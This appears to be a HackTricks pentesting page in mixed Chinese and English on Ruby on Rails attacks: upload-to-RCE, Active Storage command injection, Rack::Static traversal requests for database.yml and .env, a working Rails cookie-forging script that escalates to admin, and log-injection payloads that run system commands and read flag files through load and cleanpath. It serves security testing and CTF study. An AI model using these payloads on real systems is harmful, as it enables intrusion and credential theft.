175 lines
9.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ruby 技巧
{{#include ../../banners/hacktricks-training.md}}
## 文件上传导致 RCE
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
提示:
- 其他在应用启动时执行的 boot/eager-load 位置在可写时也很危险(例如,`config/initializers/` 是典型的例子)。如果你发现任意文件上传被放到 `config/` 下的任何位置并在随后被 evaluated/required则可能在启动时获得 RCE。
- 查找将用户可控文件复制到容器镜像中且 Rails 会在启动时加载它们的 dev/staging 构建。
## Active Storage image transformation → command execution (CVE-2025-24293)
When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
where `params[:t]` and/or `params[:v]` are attacker-controlled.
- What to try during testing
- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
- Remediation/detections
- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
## Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
用于解密并重新加密现代 cookies 的最小 Ruby 代码AES-256-GCM近期 Rails 的默认
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
注意
- 较旧的应用可能使用 AES-256-CBC salts `encrypted cookie` / `signed encrypted cookie`或者使用 JSON/Marshal 序列化器相应地调整 saltscipher serializer
- 在妥协/评估时旋转 `secret_key_base` 以使所有已存在的 cookies 失效
## 另见 (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
当一个应用通常是一个简单的 Rack/Sinatra/Rails 端点同时满足
- 按原样记录用户可控的字符串
- 之后通过 `Pathname#cleanpath` 处理后从同一字符串派生路径并 `load` 该文件
通常可以通过污染日志然后强制应用 `load` 日志文件来实现远程代码执行关键原语
- Ruby `load` 会将目标文件内容作为 Ruby 解释执行忽略文件扩展名任何可读的文本文件只要其内容能被解析为 Ruby就会被执行
- `Pathname#cleanpath` 在不访问文件系统的情况下折叠 `.` `..` 从而允许路径混淆可在记录时前置攻击者控制的垃圾数据而清理后的路径仍解析到要执行的目标文件例如 `../logs/error.log`)。
### 最小易受攻击模式
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
```
### 为什么日志可以包含有效的 Ruby
`Logger` 写入类似以下的前缀行
```
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
```
Ruby `#` 表示注释`9/2/2025` 只是算术运算要注入有效的 Ruby 代码你需要
- 在新行开始你的 payload这样不会被 INFO 行中的 `#` 注释掉发送一个前导换行符`\n` `%0A`)。
- 关闭 INFO 行引入的悬空 `[`常见技巧是以 `]` 开头并可选地用 `][0]=1` 让解析器满意
- 然后放入任意 Ruby 代码例如 `system(...)`)。
以下是使用精心构造的参数进行一次请求后最终会写入日志的示例
```
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
```
### 构造一个既会记录代码又会解析为日志路径的单字符串
我们需要一个由攻击者控制的单个字符串满足
- 当原样记录时包含我们的 Ruby payload
- 当通过 `Pathname.new(<input>).cleanpath` 处理时解析为 `../logs/error.log`因此随后对该刚被污染的日志文件执行 `load`
Pathname#cleanpath 会忽略 schemes 并折叠遍历组件所以下面的方法可行
```ruby
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
```
- `://` 前的 `#` 确保 Ruby 在日志被执行时忽略尾部 `cleanpath` 仍会将后缀简化为 `../logs/error.log`
- 前导的 newline 会跳出 INFO `]` 关闭悬挂的括号`][0]=1` 满足解析器
### End-to-end exploitation
1. 将以下内容作为备份脚本名发送如果需要将第一个 newline URL-encode `%0A`:
```
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
```
2. 应用将你的原始字符串记录到 `logs/error.log`
3. 应用计算 `cleanpath`解析为 `../logs/error.log` 并对其调用 `load`
4. Ruby 会执行你注入到日志中的代码
To exfiltrate a file in a CTF-like environment:
```
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
```
URL-encoded PoC (第一个字符是换行符):
```
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
```
## 参考资料
- Rails 安全公告: CVE-2025-24293 Active Storage unsafe transformation methods (已在 7.1.5.2 / 7.2.2.2 / 8.0.2.1 修复)。 https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub 通报: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
{{#include ../../banners/hacktricks-training.md}}